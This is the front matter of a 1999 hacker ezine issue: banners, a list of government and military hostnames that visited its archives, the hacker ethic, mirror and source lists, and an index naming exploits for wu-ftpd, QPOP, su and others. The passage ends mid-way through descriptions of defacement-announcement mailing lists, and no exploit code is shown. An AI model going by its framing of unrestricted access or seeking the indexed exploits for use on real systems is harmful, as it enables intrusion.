      
      [63 29 20 31 39 39 39 20 63 72 75 63 69 70 68 75 78 20 68 77 61 ]
  =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
  ==========================================================================
  =                       <=-[ HWA.hax0r.news ]-=>                         =
  ==========================================================================
    [=HWA'99/2000=]                   Number 44 Volume 1 1999   Nov 28th 99
  ==========================================================================
    [                     61:20:6B:69:64:20:63:6F:75:                    ]
    [               6C:64:20:62:72:65:61:6B:20:74:68:69:73:              ]
    [              20:22:65:6E:63:72:79:70:74:69:6F:6E:22:!              ]        
  ==========================================================================
   
   "This newsletter/ezine has been Declassified for the phearing impaired"  
   
   
                    ____
                   / ___|_____   _____ _ __ __ _  __ _  ___
                  | |   / _ \ \ / / _ \ '__/ _` |/ _` |/ _ \
                  | |__| (_) \ V /  __/ | | (_| | (_| |  __/
                   \____\___/ \_/ \___|_|  \__,_|\__, |\___|
                                                 |___/

                  This is #44 covering Nov 22nd to Nov 28th. 
    
  ==========================================================================                             

                         "ABUSUS NON TOLLIT USUM"
                         
  ==========================================================================                         
    
   Mailing list members: 447 Can we bump this up somewhat? spread the word!                          
   
  ==========================================================================                          
   
  
        Today the spotlight may be on you, some interesting machines that
                  have accessed these archives recently...
               
                               _   _       _
                              | | | | ___ | |_
                              | |_| |/ _ \| __|
                              |  _  | (_) | |_
                              |_| |_|\___/ \__|
                               _    _ _ _
                              | |  | (_) |
                              | |__| |_| |_ ___
                              |  __  | | __/ __|
                              | |  | | | |_\__ \
                              |_|  |_|_|\__|___/
                              
                            .gov and .mil activity
                              
                             
                             
                             proxy.gintic.gov.sg
                             doegate.doe.gov
                             sunspot.gsfc.nasa.gov
                             gate1.mcbh.usmc.mil 
                             homer.nawcad.navy.mil
                             maggie.nawcad.navy.mil
                             lisa.nawcad.navy.mil 
                             msproxy.transcom.mil
                             b-kahuna.hickam.af.mil
                             sc034ws109.nosc.mil
                             infosec.se
                             gate2.mcbutler.usmc.mil
                             sc034ws109.nosc.mil
                             shq-ot-1178.nosc.mil
                             dhcp-036190.scott.af.mil
                             mcreed.lan.teale.ca.gov
                             dodo.nist.gov
                             mc1926.mcclellan.af.mil
                             kwai11.nsf.gov
                             enduser.faa.gov
                             vasfw02,fdic.gov 
                             lisa.defcen.gov.au
                             ps1.pbgc.gov
                             guardian.gov.sg
                             amccss229116.scott.af.mil
                             sc022ws224.nosc.mil
                             sheppard2.hurlburt.af.mil                             
                             marshall.us-state.gov
                             digger1.defence.gov.au
                             firewall.mendoza.gov.ar
                             ipaccess.gov.ru
                             gatekeeper.itsec-debis.de
                             fgoscs.itsec-debis.de
                             fhu-ed4ccdf.fhu.disa.mil
                             citspr.tyndall.af.mil
                             kelsatx2.kelly.af.mil
                             kane.sheppard.af.mil                             
                             relay5.nima.mil
                             host.198-76-34-33.gsa.gov
                             ntsrvr.vsw.navy.mil
                             saic2.nosc.mil
                             wygate.wy.blm.gov
                             mrwilson.lanl.gov
                             p722ar.npt.nuwc.navy.mil
                             ws088228.ramstein.af.mil
                             car-gw.defence.gov.au
                             unknown-c-23-147.latimes.com
                             nytgate1.nytimes.com
                             
                             
  There are some interesting machines among these, the *.nosc.mil boxes are
  from SPAWAR information warfare centres, good Is It Worth It Followup to see
  our boys keeping up with the news... - Ed                             
  
  =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=                                            
  
  
  _   ___        ___      _                 ___
 | | | \ \      / / \    | |__   __ ___  __/ _ \ _ __ _ __   _____      _____
 | |_| |\ \ /\ / / _ \   | '_ \ / _` \ \/ / | | | '__| '_ \ / _ \ \ /\ / / __|
 |  _  | \ V  V / ___ \ _| | | | (_| |>  <| |_| | |_ | | | |  __/\ V  V /\__ \
 |_| |_|  \_/\_/_/   \_(_)_| |_|\__,_/_/\_\\___/|_(_)|_| |_|\___| \_/\_/ |___/

  
                             
                             
  =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=                                            
  
                     http://welcome.to/HWA.hax0r.news/                     
                                           
  =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=                                            
  
  
  @#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@ 
  #                                                                         #
  @      The HWA website is sponsored by CUBESOFT communications I highly   @ 
  #      recommend you consider these people for your web hosting needs,    #
  @                                                                         @   
  #      Web site sponsored by CUBESOFT networks http://www.csoft.net       #
  @      check them out for great fast web hosting!                         @ 
  #                                                                         # 
  #      http://www.csoft.net/~hwa                                          @
  @                                                                         #  
  @#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@
                    
  =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=                       


          _   _            _             _    _____ _   _     _
         | | | | __ _  ___| | _____ _ __( )__| ____| |_| |__ (_) ___
         | |_| |/ _` |/ __| |/ / _ \ '__|/ __|  _| | __| '_ \| |/ __|
         |  _  | (_| | (__|   <  __/ |   \__ \ |___| |_| | | | | (__
         |_| |_|\__,_|\___|_|\_\___|_|   |___/_____|\__|_| |_|_|\___|



     Sadly, due to the traditional ignorance and sensationalizing of the mass
     media, the once-noble term hacker has become a perjorative.
     
     Among true computer people, being called a hacker is a compliment. One of
     the traits of the true hacker is a profoundly antibureaucratic and
     democratic spirit. That spirit is best exemplified by the Hacker's Ethic.
     
     This ethic was best formulated by Steven Levy in his 1984 book Hackers:
     Heroes of the Computer Revolution. Its tenets are as follows:

      1 - Access to computers should be unlimited and total. 
      2 - All information should be free. 
      3 - Mistrust authority - promote decentralization. 
      4 - Hackers should be judged by their hacking not bogus criteria such as
          degrees, age, race, or position. 
      5 - You create art and beauty on a computer, 
      6 - Computers can change your life for the better. 

     The Internet as a whole reflects this ethic.


  =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=                       


             _____                          _   _   _
            |  ___|__  _ __ _ __ ___   __ _| |_| |_(_)_ __   __ _
            | |_ / _ \| '__| '_ ` _ \ / _` | __| __| | '_ \ / _` |
            |  _| (_) | |  | | | | | | (_| | |_| |_| | | | | (_| |
            |_|  \___/|_|  |_| |_| |_|\__,_|\__|\__|_|_| |_|\__, |
                                                            |___/

               A Comment on FORMATTING: 
               
               
               Oct'99 - Started 80 column mode format, code is still left
                        untouched since formatting will destroy syntax.               
               
   
               I received an email recently about the formatting of this
               newsletter, suggesting that it be formatted to 75 columns
               in the past I've endevoured to format all text to 80 cols
               except for articles and site statements and urls which are
               posted verbatim, I've decided to continue with this method
               unless more people complain, the zine is best viewed in
               1024x768 mode with UEDIT.... - Ed
               
               BTW if anyone can suggest a better editor than UEDIT for
               this thing send me some email i'm finding it lacking in
               certain areas. Must be able to produce standard ascii.    
                       
  
  =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=                       
  
                       __  __ _
                      |  \/  (_)_ __ _ __ ___  _ __ ___
                      | |\/| | | '__| '__/ _ \| '__/ __|
                      | |  | | | |  | | | (_) | |  \__ \
                      |_|  |_|_|_|  |_|  \___/|_|  |___/

                       


     New mirror sites
                
                
                http://datatwirl.intranova.net * NEW * 
                http://the.wiretapped.net/security/textfiles/hWa.hax0r.news/
                http://net-security.org/hwahaxornews
                http://www.sysbreakers.com/hwa
                http://www.attrition.org/hosted/hwa/
                http://www.ducktank.net/hwa/issues.html.
                http://viper.dmrt.com/files/=E-Zines/HWA.hax0r.news/
                http://hwazine.cjb.net/
                http://www.hackunlimited.com/files/secu/papers/hwa/
                http://www.attrition.org/~modify/texts/zines/HWA/
                
              * http://hwa.hax0r.news.8m.com/           
              * http://www.fortunecity.com/skyscraper/feature/103/  
               
              * Crappy free sites but they offer 20M & I need the space...
              ** Some issues are not located on these sites since they exceed
                 the file size limitations imposed by the sites :-( please
                 only use these if no other recourse is available.
                        
                        
     
     HWA.hax0r.news is sponsored by Cubesoft communications www.csoft.net
     thanks to airportman for the Cubesoft bandwidth. Also shouts out to all 
     our mirror sites! and p0lix for the (now expired) digitalgeeks archive
     tnx guys. 
     
     http://www.csoft.net/~hwa
     
     
     HWA.hax0r.news Mirror Sites:
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~
     http://the.wiretapped.net/security/textfiles/hWa.hax0r.news/
     http://www.attrition.org/hosted/hwa/
     http://www.attrition.org/~modify/texts/zines/HWA/
     http://www.ducktank.net/hwa/issues.html. ** NEW **
     http://www.alldas.de/hwaidx1.htm ** NEW ** CHECK THIS ONE OUT **
     http://www.csoft.net/~hwa/ 
     http://www.digitalgeeks.com/hwa. *DOWN*
     http://members.tripod.com/~hwa_2k
     http://welcome.to/HWA.hax0r.news/
     http://www.attrition.org/~modify/texts/zines/HWA/
     http://www.projectgamma.com/archives/zines/hwa/
     http://www.403-security.org/Htmls/hwa.hax0r.news.htm

   =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=         
   
   
  
 
                    ____                              _
                   / ___| _   _ _ __   ___  _ __  ___(_)___
                   \___ \| | | | '_ \ / _ \| '_ \/ __| / __|
                    ___) | |_| | | | | (_) | |_) \__ \ \__ \
                   |____/ \__, |_| |_|\___/| .__/|___/_|___/
                          |___/            |_|

     
   
   SYNOPSIS (READ THIS)
   --------------------
   
   The purpose of this newsletter is to 'digest' current events of interest
   that affect the online underground and netizens in general. This includes
   coverage of general security issues, hacks, exploits, underground news
   and anything else I think is worthy of a look see. (remember i'm doing
   this for me, not you, the fact some people happen to get a kick/use
   out of it is of secondary importance).

    This list is NOT meant as a replacement for, nor to compete with, the
   likes of publications such as CuD or PHRACK or with news sites such as
   AntiOnline, the Hacker News Network (HNN) or mailing lists such as
   BUGTRAQ or ISN nor could any other 'digest' of this type do so.

    It *is* intended  however, to  compliment such material and provide a
   reference to those who follow the culture by keeping tabs on as many
   sources as possible and providing links to further info, its a labour
   of love and will be continued for as long as I feel like it, i'm not
   motivated by dollars or the illusion of fame, did you ever notice how
   the most famous/infamous hackers are the ones that get caught? there's
   a lot to be said for remaining just outside the circle... <g>
   
   

   @HWA

   =-----------------------------------------------------------------------=

                     Welcome to HWA.hax0r.news ... #44

   =-----------------------------------------------------------------------=


    
    We could use some more people joining the channel, its usually pretty
    quiet, we don't bite (usually) so if you're hanging out on irc stop
    by and idle a while and say hi...   
    
    **************************************************************************   

   
                            ____|  _|            |
                            __|   |   __ \   _ \ __|
                            |     __| |   |  __/ |
                           _____|_|  _|  _|\___|\__| 

     
                        Eris Free Net #HWA.hax0r.news
    
    **************************************************************************
    ***      /join #HWA.hax0r.news on EFnet the key is `zwen' when keyed   ***
    ***                                                                    ***
    *** please join to discuss or impart news on from the zine and around  ***
    *** the zine or just to hang out, we get some interesting visitors you ***
    *** could be one of em.                                                ***
    ***                                                                    ***
    *** Note that the channel isn't there to entertain you its purpose is  ***
    *** to bring together people interested and involved in the underground***
    *** to chat about current and recent events etc, do drop in to talk or ***
    *** hangout. Also if you want to promo your site or send in news tips  ***
    *** its the place to be, just remember we're not #hack or #chatzone... ***
    **************************************************************************

      
    
    


  =--------------------------------------------------------------------------=
  
  
                     _____            _             _  
                    / ____|          | |           | |
                   | |     ___  _ __ | |_ ___ _ __ | |_ ___
                   | |    / _ \| '_ \| __/ _ \ '_ \| __/ __|
                   | |___| (_) | | | | ||  __/ | | | |_\__ \
                    \_____\___/|_| |_|\__\___|_| |_|\__|___/


           
  =--------------------------------------------------------------------------=
  [ INDEX ]
  =--------------------------------------------------------------------------=
    Key     Intros                                                         
  =--------------------------------------------------------------------------=
 
    00.0  .. COPYRIGHTS ......................................................
    00.1  .. CONTACT INFORMATION & SNAIL MAIL DROP ETC .......................
    00.2  .. SOURCES .........................................................
    00.3  .. THIS IS WHO WE ARE ..............................................
    00.4  .. WHAT'S IN A NAME? why `HWA.hax0r.news'?..........................
    00.5  .. THE HWA_FAQ V1.0 ................................................
            
             ABUSUS NON TOLLIT USUM? 
             This is (in case you hadn't guessed) Latin, and loosely translated
             it means "Just because something is abused, it should not be taken
             away from those  who use it properly). This is our new motto.         

  =--------------------------------------------------------------------------=
    Key     Content 
  =--------------------------------------------------------------------------=
  

    01.0  .. GREETS ..........................................................
     01.1 .. Last minute stuff, rumours, newsbytes ...........................
     01.2 .. Mailbag .........................................................
    02.0  .. From the Editor.................................................. 
    03.0  .. Solar Sunrise: The FBI operation.................................
    04.0  .. Defacing Websites: Is it Worth It? (Brian Martin)................
    05.0  .. Christmas Brings Joy For Prilissa ...............................
    06.0  .. Norway Sets Wiretapping Agreement ...............................
    07.0  .. Cable Pirates Busted in Cali ....................................
    08.0  .. Pandora 4.0 Beta2 Now Available .................................
    09.0  .. Attrition Adds Features .........................................
    10.0  .. Zyklon Sentenced to 15 Months ...................................
    11.0  .. Email Stolen From Amazon.com ....................................
    12.0  .. Industry Pressures White House on Crypto Exports ................
    13.0  .. Telenor Nextel Servers Compromised ..............................
    14.0  .. FBI Wants Dollars for Information Security ......................
    15.0  .. JavaScript and ActiveX May Be Banned by DOD .....................
    16.0  .. Is It Worth It Followup .........................................
    17.0  .. YTCracker Takes Out Gov Sites ...................................
    18.0  .. UK Bans Key Escrow ..............................................
    19.0  .. White Papers on Zero Knowledge ..................................
    20.0  .. ParseTV Back On the Air .........................................
    21.0  .. English Conservatives Blame Hackers .............................
    22.0  .. Canadian Student Arrested for Downloading Software ..............
    23.0  .. Students Questioned About SPAM ..................................
    24.0  .. Students Fined for Unauthorized Access ..........................
    25.0  .. Buffer Overflows Called Most Common Security Hole (No shit)......
    26.0  .. Palm Pilot Used In Credit Card Theft ............................
    27.0  .. Zero Knowledge on 60 Minutes ....................................
    28.0  .. HotMail Fingers Bomber ..........................................
    29.0  .. County Clerks Delete Arrest Warrants ............................
    30.0  .. Trojan Advertising? .............................................
    31.0  .. English ISP Mistakenly Gives Out Free Access ....................
    32.0  .. SAR Top Ten Smurf Amplifiers for Nov 27th'99.....................
    33.0  .. pop.c QPOP vulnerability scanner by duro.........................
    34.0  .. 'Integrated FTP attack facility' by typo/teso....................
    35.0  .. wuftpd250-sploit.c C0ded by nuuB [Sep 19, 1999]..................
    36.0  .. ucb.c remote UCB popper exploit..................................
    37.0  .. mh-6.8.3 / bbc  Exploit for Linux (Shadow Penguin) ..............
    38.0  .. mh-6.8.3 / inc  Exploit for Linux (Shadow Penguin)...............
    39.0  .. Interpreting Network Traffic:by Richard Bejtlich.................
    40.0  .. Security Focus Newsletter #16....................................
    41.0  .. su(1) buffer overflow local exploit..............................
    42.0  .. xlock(1) Boundary Condition Error (local)........................
    43.0  .. Xsco (exec) local exploit........................................
    44.0  .. Deerfield WorldClient Pro 2.0.0.0 Boundary Condition Error.......
    45.0  .. Netscape Communicator 4.7 Boundary Condition Error...............
    46.0  .. Deerfield Mdaemon 2.8.50 exploit.................................
    47.0  .. Cabletron SmartSwitch Router 8000 firmware 2.x DoS...............
    48.0  .. Sun Forte Community Edition 1.0 Beta For NT access validation error
    49.0  .. InterSoft NetTerm 4.2.x remote/local exploit....................
    50.0  .. Another MSIE Design error creates remote exploit ...............
    
    =-------------------------------------------------------------------------------=
    
        
    AD.S  .. Post your site ads or etc here, if you can offer something in return
             thats tres cool, if not we'll consider ur ad anyways so send it in.
             ads for other zines are ok too btw just mention us in yours, please
             remember to include links and an email contact. Corporate ads will
             be considered also and if your company wishes to donate to or 
             participate in the upcoming Canc0n99 event send in your suggestions
             and ads now...n.b date and time may be pushed back join mailing list
             for up to date information.......................................
             Current dates: POSTPONED til further notice, place: TBA..........
    Ha.Ha .. Humour and puzzles  ............................................
             
              Hey You!........................................................
              =------=........................................................
              
              Send in humour for this section! I need a laugh and its hard to
              find good stuff... ;)...........................................

    SITE.1 .. Featured site, .................................................
     H.W   .. Hacked Websites  ...............................................
     A.0   .. APPENDICES......................................................
     A.1   .. PHACVW linx and references......................................
 
  =--------------------------------------------------------------------------=
     
     @HWA'99
     
     

     
 00.0 (C) COPYRIGHT, (K)OPYWRONG, COPYLEFT? V2.0
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      
                            _                     _
                           | |    ___  __ _  __ _| |
                           | |   / _ \/ _` |/ _` | |
                           | |__|  __/ (_| | (_| | |
                           |_____\___|\__, |\__,_|_|
                                      |___/


          THE OPINIONS OF THE WRITERS DO NOT NECESSARILY REFLECT THE
          OPINIONS OF THE PUBLISHERS AND VICE VERSA IN FACT WE DUNNO
          WTF IS GONNA TAKE RESPONSIBILITY FOR THIS, I'M NOT DOING IT
          (LOTS OF ME EITHER'S RESOUND IN THE BACKGROUND) SO UHM JUST
          READ IT AND IF IT BUGS YOU WELL TFS (SEE FAQ).
     
          Important semi-legalese and license to redistribute:
     
          YOU MAY DISTRIBUTE THIS ZINE WITHOUT PERMISSION FROM MYSELF
          AND ARE GRANTED THE RIGHT TO QUOTE ME OR THE CONTENTS OF THE
          ZINE SO LONG AS Cruciphux AND/OR HWA.hax0r.news ARE MENTIONED
          IN YOUR WRITING. LINK'S ARE NOT NECESSARY OR EXPECTED BUT ARE
          APPRECIATED the current link is http://welcome.to/HWA.hax0r.news
          IT IS NOT MY INTENTION TO VIOLATE ANYONE'S COPYRIGHTS OR BREAK
          ANY NETIQUETTE IN ANY WAY IF YOU FEEL I'VE DONE THAT PLEASE EMAIL
          ME PRIVATELY current email cruciphux@dok.org
     
          THIS DOES NOT CONSTITUTE ANY LEGAL RIGHTS, IN THIS COUNTRY ALL
          WORKS ARE (C) AS SOON AS COMMITTED TO PAPER OR DISK, IF ORIGINAL
          THE LAYOUT AND COMMENTARIES ARE THEREFORE (C) WHICH MEANS:
     
          I RETAIN ALL RIGHTS, BUT I GIVE YOU THE RIGHT TO READ, QUOTE
          AND REDISTRIBUTE/MIRROR. - EoD
     
     
          Although this file and all future issues are now copyright, some of
         the content holds its  own copyright and these are printed and
         respected. News is news so i'll print any and all news but will quote
         sources when the source is known, if its good enough for CNN its good
         enough for me. And i'm doing it for free on my own time so pfffft. :)
     
         No monies are made or sought through the distribution of this material.
         If you have a problem or concern email me and we'll discuss it.
     
         cruciphux@dok.org
     
         Cruciphux [C*:.]



 00.1 CONTACT INFORMATION AND MAIL DROP 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
                     ____            _             _
                    / ___|___  _ __ | |_ __ _  ___| |_ ___
                   | |   / _ \| '_ \| __/ _` |/ __| __/ __|
                   | |__| (_) | | | | || (_| | (__| |_\__ \
                    \____\___/|_| |_|\__\__,_|\___|\__|___/


     Wahoo, we now have a mail-drop, if you are outside of the U.S.A or
    Canada / North America (hell even if you are inside ..) and wish to
    send printed matter like newspaper clippings a subscription to your
    cool foreign hacking zine or photos, small non-explosive packages
    or sensitive information etc etc well, now you can. (w00t) please
    no more inflatable sheep or plastic dog droppings, or fake vomit
    thanks.

    Send all goodies to:
    

	    HWA NEWS
	    P.O BOX 44118
	    370 MAIN ST. NORTH
	    BRAMPTON, ONTARIO
	    CANADA
	    L6V 4H5
	    
	    
    
    WANTED!: POSTCARDS! YESH! POSTCARDS, I COLLECT EM so I know a lot of you are
    ~~~~~~~  reading this from some interesting places, make my day and get a
             mention in the zine, send in a postcard, I realize that some places
             it is cost prohibitive but if you have the time and money be a cool
             dude / gal and send a poor guy a postcard preferably one that has some
             scenery from your place of residence for my collection, I collect stamps
             too so you kill two birds with one stone by being cool and mailing in a
             postcard, return address not necessary, just a  "hey guys being cool in
             Bahrain, take it easy" will do ... ;-) thanx.



    Ideas for interesting 'stuff' to send in apart from news:

    - Photo copies of old system manual front pages (optionally signed by you) ;-)
    - Photos of yourself, your mom, sister, dog and or cat in a NON
      compromising position plz I don't want pr0n. <g>
    - Picture postcards
    - CD's 3.5" disks, Zip disks, 5.25" or 8" floppies, Qic40/80/100-250
      tapes with hack/security related archives, logs, irc logs etc on em.
    - audio or video cassettes of yourself/others etc of interesting phone
      fun or social engineering examples or transcripts thereof.
    
    
    Stuff you can email:
    
    - Prank phone calls in .ram or .mp* format
    - Fone tones and security announcements from PBX's etc
    - fun shit you sampled off yer scanner (relevant stuff only like #2600 meeting activities)
    - reserved for one smiley face ->        :-)            <-
    - PHACV lists of files that you have or phac cd's you own (we have a burner, *g*)
    - burns of phac cds (email first to make sure we don't already have em)
    - Any and all telephone sounds/tones/beeps/trunk drops/line tests/etc in .ram etc format or .mp*
    

    If you still can't think of anything you're probably not that interesting
    a person after all so don't worry about it <BeG>

    Our current email:

    Submissions/zine gossip.....: hwa@press.usmc.net
    Private email to editor.....: cruciphux@dok.org                                                                   
    Distribution/Website........: sas2@usa.net       

    @HWA



 00.2 Sources ***
      ~~~~~~~~~~~
      
                      ____
                     / ___|  ___  _   _ _ __ ___ ___ ___
                     \___ \ / _ \| | | | '__/ __/ _ Y __|
                      ___) | (_) | |_| | | | (_|  __|__ \
                     |____/ \___/ \__,_|_|  \___\___|___/


     Sources can be some, all, or none of the following (by no means complete
    nor listed in any degree of importance) Unless otherwise noted, like msgs
    from lists or news from other sites, articles and information is compiled
    and or sourced by Cruciphux no copyright claimed.

    News & I/O zine ................. http://www.antionline.com/
    Back Orifice/cDc..................http://www.cultdeadcow.com/
    News site (HNN) .....,............http://www.hackernews.com/
    Help Net Security.................http://net-security.org/
    News,Advisories,++ .(lophtcrack)..http://www.l0pht.com/
    NewsTrolls .(daily news ).........http://www.newstrolls.com/
    News + Exploit archive ...........http://www.rootshell.com/beta/news.html
    CuD Computer Underground Digest...http://www.soci.niu.edu/~cudigest
    News site+........................http://www.zdnet.com/
    News site+Security................http://www.gammaforce.org/
    News site+Security................http://www.projectgamma.com/
    News site+Security................http://securityhole.8m.com/
    News site+Security related site...http://www.403-security.org/ s
    News/Humour site+ ................http://www.innerpulse.com
    News/Techie news site.............http://www.slashdot.org
    
    

    +Various mailing lists and some newsgroups, such as ...
    +other sites available on the HNN affiliates page, please see
     http://www.hackernews.com/affiliates.html as they seem to be popping up
     rather frequently ...

    
    http://www.the-project.org/ .. IRC list/admin archives
    http://www.anchordesk.com/  .. Jesse Berst's AnchorDesk

    alt.hackers.malicious
    alt.hackers
    alt.2600
    BUGTRAQ
    ISN security mailing list
    ntbugtraq
    <+others>

    NEWS Agencies, News search engines etc:
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    http://www.cnn.com/SEARCH/
       
    http://www.foxnews.com/search/cgi-bin/search.cgi?query=hack&days=0&wires=0&startwire=0
        
    http://www.news.com/Searching/Results/1,18,1,00.html?querystr=hack
        
    http://www.ottawacitizen.com/business/
        
    http://search.yahoo.com.sg/search/news_sg?p=hack
        
    http://www.washingtonpost.com/cgi-bin/search?DB_NAME=WPlate&TOTAL_HITLIST=20&DEFAULT_OPERATOR=AND&headline=&WITHIN_FIELD_NAME=.lt.event_date&WITHIN_DAYS=0&description=hack
        
    http://www.zdnet.com/zdtv/cybercrime/
        
    http://www.zdnet.com/zdtv/cybercrime/chaostheory/ (Kevin Poulsen's Column)
        
    NOTE: See appendices for details on other links.
    


    http://news.bbc.co.uk/hi/english/sci/tech/newsid_254000/254236.stm
        
    http://freespeech.org/eua/ Electronic Underground Affiliation
        
    http://ech0.cjb.net ech0 Security
    
    http://axon.jccc.net/hir/ Hackers Information Report
        
    http://net-security.org Net Security
        
    http://www.403-security.org Daily news and security related site
        

    Submissions/Hints/Tips/Etc
    ~~~~~~~~~~~~~~~~~~~~~~~~~~
    
            ____        _               _         _
           / ___| _   _| |__  _ __ ___ (_)___ ___(_) ___  _ __  ___
           \___ \| | | | '_ \| '_ ` _ \| / __/ __| |/ _ \| '_ \/ __|
            ___) | |_| | |_) | | | | | | \__ \__ \ | (_) | | | \__ \
           |____/ \__,_|_.__/|_| |_| |_|_|___/___/_|\___/|_| |_|___/


    All submissions that are `published' are printed with the credits
    you provide, if no response is received by a week or two it is assumed
    that you don't care wether the article/email is to be used in an issue
    or not and may be used at my discretion.

    Looking for:

    Good news sites that are not already listed here OR on the HNN affiliates
    page at http://www.hackernews.com/affiliates.html

    Magazines (complete or just the articles) of breaking sekurity or hacker
    activity in your region, this includes telephone phraud and any other
    technological use, abuse hole or cool thingy. ;-) cut em out and send it
    to the drop box.


    - Ed

    Mailing List Subscription Info   (Far from complete)         Feb 1999
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~   ~~~~~~~~~~~~~~~~~~~         ~~~~~~~~

    ISS Security mailing list faq : http://www.iss.net/iss/maillist.html
    
    
    ATTRITION.ORG's Website defacement mirror and announcement lists
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    http://www.attrition.org/mirror/attrition/    
    http://www.attrition.org/security/lists.html
    
    --
      
      defaced [web page defacement announce list]
      
      This is a public LOW VOLUME (1) mail list to circulate news/info on 
      defaced web sites. To subscribe to Defaced, send mail to 
      majordomo@attrition.org with "subscribe defaced" in the BODY of 
      the mail.
      
      There will be two types of posts to this list:
      
              1. brief announcements as we learn of a web defacement.
                 this will include the site, date, and who signed the 
                 hack. we will also include a URL of a mirror of the hack.
      
              2. at the end of the day, a summary will be posted
                 of all the hacks of the day. these can be found
                 on the mirror site listed under 'relevant links'
      
      This list is for informational purposes only. Subscribing
      denotes your acceptance of the following:
      
              1. we have nothing to do with the hacks. at all.
      
              2. we are only mirroring the work of OTHER people.
      
              3. we can not be held liable for anything related to these
                 hacks.
      
              4. all of the points on the disclaimer listed below.
      
      Under no circumstances may the information on this list be used
      to solicit security business. You do not have permission to forward
      this mail to anyone related to the domain that was defaced.
      
      enjoy.
      
      List maintainer: mcintyre@attrition.org
      Hosted by: majordomo@attrition.org
      
      Relevant Links: 
              Disclaimer: http://www.attrition.org/mirror/attrition/notes.html
              ATTRITION Mirror: http://www.attrition.org/mirror/
      
      (1) It is low volume on a normal day. On days of many defacements,
          traffic may be increased. On a few days, it is a virtual mail
          flood. You have been warned. ;)
      
    -=-
    
    --
      
      defaced summary [web page defacement announce list]
      
      This is a low traffic mail list to announce all publicly
      defaced domains on a given day. To subscribe to Defaced-Summary, send mail to 
      majordomo@attrition.org with "subscribe defaced-summary" in the BODY of 
      the mail.
      
      There will be ONE type of post to this list:
      
              1. a single nightly piece of mail listing all reported
                 domains. the same information can be found on
                 http://www.attrition.org/mirror/attrition/
                 via sporadic updates.
      
      This list is for informational purposes only. Subscribing
      denotes your acceptance of the following:
      
              1. we have nothing to do with the hacks. at all.
      
              2. we are only mirroring the work of OTHER people.
      
              3. we can not be held liable for anything related to these
                 hacks.
      
              4. all of the points on the disclaimer listed below.
      
      Under no circumstances may the information on this list be used
      to solicit security business. You do not have permission to forward
      this mail to anyone related to the domain that was defaced.
      
      enjoy.
      
      List maintainer: jericho@attrition.org
      Hosted by: majordomo@attrition.org
      
      Relevant Links: 
              Disclaimer: http://www.attrition.org/mirror/attrition/notes.html
              ATTRITION Mirror: http://www.attrition.org/mirror/
              
              
     -=-
     
      defaced GM [web page defacement announce list]
      
      This is a low traffic mail list to announce all publicly
      defaced government and military domains on a given day. To subscribe to 
      Defaced-GM, send mail to majordomo@attrition.org with "subscribe defaced-gm" 
      in the BODY of the mail.
      
      There will be ONE type of post to this list:
      
              1. sporadic pieces of mail for each government (.gov)
                 or military (.mil) system defaced. the same information 
                 can be found on http://www.attrition.org/mirror/attrition/
                 via sporadic updates.
      
      This list is designed primarily for government and military
      personell charged with tracking security incidents on
      government run networks.
      
      This list is for informational purposes only. Subscribing
      denotes your acceptance of the following:
      
              1. we have nothing to do with the hacks. at all.
      
              2. we are only mirroring the work of OTHER people.
      
              3. we can not be held liable for anything related to these
                 hacks.
      
              4. all of the points on the disclaimer listed below.
      
      Under no circumstances may the information on this list be used
      to solicit security business. You do not have permission to forward
      this mail to anyone related to the domain that was defaced.
      
      enjoy.
      
      List maintainer: jericho@attrition.org
      Hosted by: majordomo@attrition.org
      
      Relevant Links: 
              Disclaimer: http://www.attrition.org/mirror/attrition/notes.html
              ATTRITION Mirror: http://www.attrition.org/mirror/
              
     
      --
      
      defaced alpha [web page defacement announce list]
      
      This is a low traffic mail list to announce via alpha-numeric
      pagers, all publicly defaced government and military domains 
      on a given day. To subscribe to Defaced-Alpha, send mail to 
      majordomo@attrition.org with "subscribe defaced-alpha" in 
      the BODY of the mail.
      
      There will be ONE type of post to this list:
      
              1. sporadic pieces of mail for each government (.gov)
                 or military (.mil) system defaced. the information
                 will only include domain names. the same information 
                 can be found on http://www.attrition.org/mirror/attrition/
                 via sporadic updates.
      
      This list is designed primarily for government and military
      personell charged with tracking security incidents on
      government run networks. Further, it is designed for 
      quick response and aimed at law enforcement agencies like
      DCIS and the FBI.
      
      To subscribe to this list, a special mail will be sent to YOUR
      alpha-numeric pager. A specific response must be made within
      12 hours of receiving the mail to be subscribed. If the response
      is not received, it is assumed the mail was not sent to your 
      pager.
      
      This list is for informational purposes only. Subscribing
      denotes your acceptance of the following:
      
              1. we have nothing to do with the hacks. at all.
      
              2. we are only mirroring the work of OTHER people.
      
              3. we can not be held liable for anything related to these
                 hacks.
      
              4. all of the points on the disclaimer listed below.
      
      Under no circumstances may the information on this list be used
